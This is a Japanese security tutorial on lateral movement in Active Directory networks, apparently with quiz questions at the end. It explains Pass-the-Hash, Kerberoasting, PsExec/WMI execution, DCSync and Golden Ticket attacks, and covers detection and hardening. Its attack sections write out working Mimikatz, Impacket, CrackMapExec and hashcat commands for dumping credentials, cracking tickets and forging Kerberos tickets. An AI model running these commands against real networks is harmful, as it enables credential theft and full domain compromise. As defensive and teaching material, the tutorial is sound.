ラテラルムーブメントとは何か
ラテラルムーブメント(Lateral Movement)は、攻撃者が最初に侵入したシステムから組織内の他のシステムへ移動・展開していくプロセスです。MITRE ATT&CK フレームワークでは TA0008 Lateral Movement として分類されています。
攻撃者がラテラルムーブメントを行う主な目的は次のとおりです。
- 高価値ターゲットへのアクセス: ドメインコントローラー、財務システム、機密データストアへの到達
- 権限の拡大: 低権限のフットホールドから Domain Admin などの高権限を取得
- 永続化の確立: 複数のシステムにバックドアを設置し、一つが検出されても侵入を維持
- 情報収集の拡大: より広い範囲の内部情報を収集
ラテラルムーブメントは攻撃チェーンの中で最も「滞留時間」に影響する段階です。IBM X-Force の調査によると、攻撃者が最初の侵入から検出されるまでの平均時間(Dwell Time)は数十日に及ぶことがあり、その間にラテラルムーブメントが継続されます。
Pass-the-Hash 攻撃(T1550.002)
仕組み
Windows の NTLM 認証では、パスワードそのものではなく NTLM ハッシュ を使って認証が行われます。攻撃者はパスワードを知らなくてもハッシュを取得することで、他のシステムに認証できます。
通常の認証フロー: ユーザー → [パスワード入力] → NTLMハッシュ生成 → DC/サーバーへ送信
Pass-the-Hash: 攻撃者 → [ハッシュ窃取] → ハッシュをそのまま送信 → 認証成功
NTLM ハッシュの取得
Mimikatz を使ったメモリからのハッシュダンプ(管理者権限が必要)
mimikatz # privilege::debug mimikatz # sekurlsa::logonpasswords
出力例
Authentication Id : 0 ; 123456 (00000000:0001e240)
Session : Interactive from 1
User Name : Administrator
Domain : CORP
Logon Server : DC01
NTLM : aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
Pass-the-Hash による横移動
Impacket の psexec.py を利用した PtH 攻撃
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
CORP/Administrator@192.168.1.10
CrackMapExec による複数ホストへの展開確認
crackmapexec smb 192.168.1.0/24
-u Administrator
-H 8846f7eaee8fb117ad06bdd830b7586c
—shares
Pass-the-Hash が効果的に機能するのは主に NTLM 認証が使われている環境です。Kerberos 認証が主体の最新環境では制限されますが、SMB サービスやレガシーシステムでは依然として有効なケースがあります。
Kerberoasting(T1558.003)
Kerberos 認証とサービスチケットの仕組み
Active Directory 環境では Kerberos を使った認証が行われます。サービスアカウントには SPN(Service Principal Name)が登録されており、ドメインユーザーはそのサービスへのアクセスに必要なサービスチケット(TGS)を TGT を使って取得できます。このチケットはサービスアカウントのパスワードハッシュで暗号化されています。
Kerberoasting の手順:
- ドメインユーザーとして認証(低権限でも可)
- SPN が登録されたサービスアカウント一覧を取得
- そのサービスへの TGS(サービスチケット)をリクエスト
- TGS はサービスアカウントのハッシュで暗号化されているため持ち出せる
- オフラインでブルートフォース・辞書攻撃でパスワードを解読
- 解読したパスワードでサービスアカウントに認証
GetUserSPNs.py(Impacket)でSPNを持つアカウントを列挙しチケットを取得
python3 GetUserSPNs.py CORP.local/john:Password123 -dc-ip 192.168.1.1 -request
出力例
ServicePrincipalName Name MemberOf PasswordLastSet
---------------------------- ---------- ---------------- -------------------
MSSQLSvc/SQLSRV01.corp.local svc_mssql Domain Users 2024-01-15 10:30:00
$krb5tgs$23$svc_mssql$CORP.LOCAL$MSSQLSvc/SQLSRV01.corp.local$a1b2c3d4…
Hashcat でオフライン解読(RC4-HMAC 形式)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
—force -O
Kerberoasting の検出ポイントは、イベントID 4769(Kerberos サービスチケット操作)です。特に短時間に多数の TGS リクエストが発生する場合や、RC4-HMAC(暗号タイプ 0x17)でチケットが要求される場合は要注意です。AES256 を強制することで辞書攻撃の難易度を大幅に上げられます。
WMI・PSExec によるリモート実行(T1021・T1047)
PSExec を使ったリモートコマンド実行
Sysinternals PSExec(管理共有を利用)
psexec.exe \192.168.1.20 -u CORP\Administrator -p Password123 cmd.exe
Impacket 版(Linux から実行可能)
python3 psexec.py CORP/Administrator:Password123@192.168.1.20
smbexec.py(ファイルを書き込まないため検出を回避しやすい)
python3 smbexec.py CORP/Administrator:Password123@192.168.1.20
WMI(Windows Management Instrumentation)の悪用
PowerShell からの WMI リモートコマンド実行
$cred = Get-Credential
Invoke-WmiMethod -Class Win32_Process -Name Create
-ArgumentList “cmd.exe /c whoami > C:\output.txt”
-ComputerName 192.168.1.20
-Credential $cred
Impacket wmiexec.py
python3 wmiexec.py CORP/Administrator:Password123@192.168.1.20
CrackMapExec で WMI 経由の実行
crackmapexec smb 192.168.1.20 -u Administrator -p Password123 -x “whoami”
Active Directory を狙った手法
DCSync 攻撃(T1003.006)
Domain Admin 権限を取得した攻撃者は、ドメインコントローラーへのレプリケーションを模倣し、全ユーザーの NTLM ハッシュをダンプできます。
Mimikatz による DCSync(Domain Admin 権限が必要)
mimikatz # lsadump::dcsync /domain:corp.local /user:Administrator
全ドメインユーザーのハッシュを一括取得
mimikatz # lsadump::dcsync /domain:corp.local /all /csv
Impacket secretsdump.py
python3 secretsdump.py CORP/Administrator:Password123@dc01.corp.local
Golden Ticket 攻撃(T1558.001)
KRBTGT アカウントのハッシュを取得できれば、任意のユーザーとして任意のサービスにアクセスできる Kerberos チケット(Golden Ticket)を偽造できます。
まず KRBTGT ハッシュを取得(DCSync or NTDS.dit ダンプ)
KRBTGT Hash: 1234567890abcdef1234567890abcdef
Domain SID: S-1-5-21-1234567890-1234567890-1234567890
Mimikatz で Golden Ticket 作成
mimikatz # kerberos::golden
/user:FakeAdmin
/domain:corp.local
/sid:S-1-5-21-1234567890-1234567890-1234567890
/krbtgt:1234567890abcdef1234567890abcdef
/ticket:golden.kirbi
チケットを使ってドメインコントローラーにアクセス
mimikatz # kerberos::ptt golden.kirbi dir \DC01\C$
Golden Ticket 攻撃は KRBTGT パスワードをリセットするまで有効です(デフォルト有効期限が10年の場合もあります)。インシデント対応時は KRBTGT アカウントのパスワードを2回連続でリセットする必要があります(全DC へのレプリケーション完了後)。
検出方法(イベントログ・SIEM)
主要なイベントID と検出ルール
【Pass-the-Hash 検出】
- イベントID 4624: ログオン成功(ログオンタイプ 3 = ネットワーク)
- イベントID 4625: ログオン失敗(多数の失敗 → ブルートフォースの可能性)
- NTLM 認証のログオンで NTLMv1 使用は要警戒
【Kerberoasting 検出】
- イベントID 4769: Kerberos サービスチケット操作
- 暗号タイプ 0x17(RC4-HMAC)での TGS リクエスト
- 短時間での大量リクエスト
【横移動全般】
- イベントID 4648: 明示的な資格情報でのログオン試行
- イベントID 7045: 新しいサービスのインストール(PSExec の痕跡)
- Sysmon ID 3: ネットワーク接続(内部から内部への SMB/WMI 接続)
Sigma ルールによる検出例
title: Kerberoasting Activity Detection status: stable logsource: product: windows service: security detection: selection: EventID: 4769 TicketEncryptionType: ‘0x17’ ServiceName|endswith: ’$’ filter: ServiceName: ‘krbtgt’ condition: selection and not filter falsepositives:
- Legacy applications requiring RC4 level: high
防御策
ネットワークセグメンテーション
内部ネットワークを「フラット」なままにしておくと、一か所で侵害されると全システムに横展開されるリスクがあります。VLAN・マイクロセグメンテーション・ファイアウォールルールで内部通信を制限することが重要です。
特権アクセス管理(PAM)の実装
- 管理者アカウントの分離: 日常業務用アカウントと管理作業用アカウントを分ける
- Just-In-Time Access: 必要な時だけ一時的に管理者権限を付与する
- Privileged Access Workstation(PAW): 管理作業専用の端末を用意し、インターネットアクセスを禁止
- LAPS(Local Administrator Password Solution): 各ホストのローカル管理者パスワードをランダム化し、PtH の横展開を防止
Active Directory のハードニング
Protected Users グループに特権アカウントを追加(Kerberoasting・PtH 対策)
Add-ADGroupMember -Identity “Protected Users” -Members “Administrator”,“svc_critical”
サービスアカウントの AES256 強制(Kerberoasting 対策)
Set-ADUser svc_mssql -KerberosEncryptionType AES256
KRBTGT パスワードの定期リセット(180日ごと推奨)
Reset-KrbtgtKeyInteractive.ps1 などのスクリプトを使用
SMB 署名の強制(PtH の一部手法を防止)
Set-SmbServerConfiguration -RequireSecuritySignature $true -Force
Kerberoasting 攻撃において、攻撃者がオフラインで解読を試みるのは何ですか?
Pass-the-Hash 攻撃で使用される認証プロトコルはどれですか?